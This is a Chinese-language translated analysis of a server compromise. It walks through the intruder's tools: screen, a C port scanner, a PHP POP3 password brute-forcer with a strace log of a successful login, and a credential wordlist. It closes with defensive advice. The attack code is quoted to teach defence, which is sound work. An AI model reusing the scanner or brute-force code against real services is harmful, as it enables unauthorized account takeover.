Reference: Analysis of a Hack,翻譯:bangerlee
引言
最近遇到一個伺服器被hack的問題,伺服器變成了肉機,不斷嘗試破解其他機器的帳號。下面我們通過分析黑客在伺服器上留下的工具,瞭解入門的hack方法、學習相應的防範措施。
hack工具
hacker登入一臺被入侵的伺服器,通常首先使用”w”命令檢視登陸者資訊、使用”passwd”命令修改當前使用者密碼,然後通過wget,獲取提權和其他hack工具。hacker一般將工具解壓到目錄名以”.”開頭的目錄中,達到隱藏的效果,以下是此次問題hacker在伺服器上留下的“禮物”:
1 2 3 4 5 6 7 |
linux:/tmp/.ssh # ll 總計 340 -rw-r--r-- 1 root root 7289 06-03 13:06 pass_file -rwxr-xr-x 1 root root 17274 06-03 13:20 pscan -rw-r--r-- 1 root root 6071 06-03 13:10 pscan.c -rwxr-xr-x 1 root root 302240 06-03 13:06 screen -rw-r--r-- 1 root root 1444 06-03 13:06 sesion.php |
下面我們對以上各工具的作用逐一進行分析。
遠端會話管理工具screen
screen主要用於管理多視窗、使程式與原始遠端連線脫離。
多視窗管理
有時我們需要執行一些比較耗時的程式,在這些程式執行結束後,我們才能操作終端。假如在耗時程式執行過程中,還想進行其他操作,那就需要另開啟遠端登陸終端。使用screen,可以避免開啟多個登陸終端,下面來看使用screen模擬開啟多個視窗的方法。
在執行screen程式前,使用”who”命令可以查到A機器上有兩個使用者,分別從本地、遠端登入:
1 2 3 |
linux:/tmp/.ssh > who lx :0 2012-06-03 10:59 lx pts/0 2012-06-03 13:05 (192.168.1.102) |
通過遠端pts/0執行screen後,進入一個新的命令操作視窗,並增加了一個遠端登入:
1 2 3 4 |
linux:/tmp/.ssh > who lx :0 2012-06-03 10:59 lx pts/0 2012-06-03 13:05 (192.168.1.102) lx pts/1 2012-06-03 15:40 |
在screen中,我們可以使用”ctrl+a+c”組合鍵建立新的視窗,使用”ctrl+a+n/p”組合鍵在視窗間來回切換。這樣,當耗時程式被執行時,我們可以新建或切換到其他視窗,進行其他操作。
脫離原始遠端連線
通過遠端終端執行程式,程式尚未退出的情況下關閉遠端連線,那麼程式也會跟著中止。這將導致耗時程式尚未完成工作就退出、編輯中尚未儲存的檔案丟失。使用screen,可以達到程式不隨遠端連線關閉而退出的目的,這也是screen最主要的功能。
在screen視窗下,我們執行一個程式:
1 2 |
linux:/tmp/loop > ./endless_loop running... |
程式執行時,我們將遠端登陸終端關閉,在伺服器本地開啟終端,可以看到遠端終端已經關閉:
1 2 3 |
linux:/tmp/loop > who lx :0 2012-06-03 10:59 lx pts/0 2012-06-03 20:04 (:0.0) |
再來查之前通過遠端拉起的endless_loop程式,可以看到其仍在執行,並且screen為其祖先程式:
1 2 3 4 5 6 |
linux:/tmp/loop > ps -elf | grep endless | grep -v grep 0 R lx 4851 4586 99 80 0 - 926 - 20:24 pts/1 00:00:32 ./endless_loop linux:/tmp/loop > ps -elf | grep 4586 | grep -v endless | grep -v grep 0 S lx 4586 4585 0 80 0 - 4193 wait 20:02 pts/1 00:00:00 /bin/bash linux:/tmp/loop > ps -elf | grep 4585 | grep -v grep | grep -v 4586 1 S lx 4585 1 0 80 0 - 1036 - 20:02 ? 00:00:00 ./SCREEN |
關於screen的更詳細資料,可以參看這裡。
暴力破解帳號
hacker費時費力入侵伺服器,當然不會無慾無求,入侵伺服器後,hacker要不獲取伺服器上的資料資訊,要不就是將伺服器變成肉機,用其破解更多伺服器的帳號。暴力破解伺服器帳號需要通過某一系統服務,例如pop3、ssh、telnet等,其過程可以分解為兩個步驟:
●掃描伺服器某系統服務的埠(例如pop3使用110埠,ssh使用22埠)
●對已開放埠的伺服器進行密碼破解
埠掃描程式
pscan是一個埠掃描程式,pscan.c是相應的原始碼。埠掃描功能的實現並不複雜,首先分配socket描述符,用目標ip、埠號填充型別為
sockaddr_in的結構:
1 2 3 4 5 |
connlist[i].s = socket(AF_INET, SOCK_STREAM, 0); fcntl(connlist[i].s, F_SETFL, O_NONBLOCK); connlist[i].addr.sin_addr.s_addr = inet_addr(ip); connlist[i].addr.sin_family = AF_INET; connlist[i].addr.sin_port = htons(atoi(argv[2])); |
然後呼叫connect函式嘗試建立連線:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
ret = connect(connlist[i].s, (struct sockaddr *)&connlist[i].addr, sizeof(struct sockaddr_in)); if (ret == -1) { if (errno == EISCONN) { //埠開啟 fprintf(outfd, "%s\n", (char *)inet_ntoa(connlist[i].addr.sin_addr)); } if ((errno != EALREADY) && (errno != EINPROGRESS)) { //對端埠為關閉狀態 } } else{ //埠開啟 fprintf(outfd, "%s\n", (char *)inet_ntoa(connlist[i].addr.sin_addr)); } |
通過判斷connect函式的返回值可知對端伺服器埠是否開啟,將掃描到的開放埠的伺服器ip地址寫入檔案。
密碼破解
記錄下已開放埠的伺服器ip地址後,破解程式將再次與這些ip地址對應的伺服器進行連線,嘗試用大量使用者名稱/密碼組合進行系統服務鑑權。文章開頭的sesion.php即是破解pop3帳號用的php指令碼,pass_file檔案每一列對應一組使用者名稱、密碼。
各個系統服務(pop3、telnet、ssh等)使用的鑑權方法不同,破解程式的具體實現方法就各異,相對而言,pop3暴力破解程式的實現比較簡單:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
function POPa($username, $password, $server) { $socket = fsockopen($server, 110); // POP3 port if (!$socket) { return "cracked"; } $res = fgets($socket, 512); // read +OK if (substr(trim($res), 0, 3) != "+OK") { return "cracked"; // return the error } fputs($socket, "USER $username\r\n"); // send user $res = fgets($socket, 512); // read +OK if (substr(trim($res), 0, 3) != "+OK") { return "cracked"; } fputs($socket, "PASS $password\r\n"); // send pass $res = fgets($socket, 512); // read +OK if (substr(trim($res), 0, 3) != "+OK") { return $res; } $fp = fopen("vuln.txt", "a"); fwrite($fp, " $server $username $password\r\n"); } |
首先使用fsockopen函式與對端建立連線,然後向對端傳送使用者名稱、密碼。若傳送密碼之後,收到的回應中頭三個字元為”+OK”,即表示鑑權成功,相應的使用者名稱、密碼為對端pop3伺服器的一個帳號。鑑權成功後,我們把對端ip、使用者名稱和密碼記錄在vuln.txt檔案中。
使用strace對以上密碼破解程式進行跟蹤,從輸出結果中,我們能更清晰地瞭解兩臺機器間的互動過程:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3 fcntl(3, F_GETFL) = 0x2 (flags O_RDWR) fcntl(3, F_SETFL, O_RDWR|O_NONBLOCK) = 0 connect(3, {sa_family=AF_INET, sin_port=htons(110), sin_addr=inet_addr("213.8.54.xx")}, 16) = -1 EINPROGRESS (Operation now in progress) poll([{fd=3, events=POLLIN|POLLOUT|POLLERR|POLLHUP}], 1, 60000) = 1 ([{fd=3, revents=POLLOUT}]) getsockopt(3, SOL_SOCKET, SO_ERROR, [0], [4]) = 0 fcntl(3, F_SETFL, O_RDWR) = 0 poll([{fd=3, events=POLLIN|POLLERR|POLLHUP}], 1, 60000) = 1 ([{fd=3, revents=POLLIN}]) recvfrom(3, "+OK Microsoft Exchange Server 20"..., 8192, MSG_DONTWAIT, NULL, NULL) = 99 sendto(3, "USER dennis\r\n", 13, MSG_DONTWAIT, NULL, 0) = 13 poll([{fd=3, events=POLLIN|POLLERR|POLLHUP}], 1, 60000) = 1 ([{fd=3, revents=POLLIN}]) recvfrom(3, "+OK\r\n", 8192, MSG_DONTWAIT, NULL, NULL) = 5 sendto(3, "PASS dennis\r\n", 13, MSG_DONTWAIT, NULL, 0) = 13 poll([{fd=3, events=POLLIN|POLLERR|POLLHUP}], 1, 60000) = 1 ([{fd=3, revents=POLLIN}]) recvfrom(3, "+OK User successfully logged on."..., 8192, MSG_DONTWAIT, NULL, NULL) = 34 sendto(3, "QUIT\r\n", 6, MSG_DONTWAIT, NULL, 0) = 6 |
一點啟示
人在江湖漂,難免不中招。為防範hacker入侵,我們可以事先做好哪些工作呢?
設定複雜的密碼
我們看下pass_file檔案的內容,看hacker嘗試用哪些使用者名稱/密碼破解伺服器帳號:
1 2 3 4 5 6 7 8 9 |
⋯⋯ michelle michelle nobody nobody Administrator 123456 qwerty qwerty backup backup info test12345 shop shop sales sales |
可見,密碼不能設定得與使用者名稱相同,也不能設為”123456″、”test12345″這類簡單的密碼。
限制埠開放
hacker大多通過伺服器開放的埠進行入侵,這就要求我們對埠進行嚴格的管理。像telnet這樣用的比較少又不安全的服務,大多數伺服器都應該將其關閉;像ftp這類服務,可以用到的時候再開啟,用後及時關閉。
使用第三方工具阻擋攻擊
像以上型別的暴力攻擊,成千上萬次地使用不同帳號進行鑑權,是否可以設定允許的鑑權嘗試次數,超過設定的次數,伺服器則將拒絕來訪ip的連線?
有一些工具幫我們實現了以上功能,例如DenyHosts這個工具,DenyHosts通過分析sshd程式的日誌檔案,發現多次失敗登陸記錄時,會將來訪ip記錄到/etc/hosts.deny檔案,遮蔽來訪ip,從而達到阻擋ssh暴力攻擊的效果。
小結
本文介紹了hacker常用工具screen的用法,埠掃描程式的實現,暴力破解帳號的入門方法,最後講了下防範暴力破解的幾點防範措施。
變成肉機的伺服器7*24h不停地對各個網段掃描、破解帳號,因而中招的機率還是很大的,做好防範措施,不能掉以輕心咯。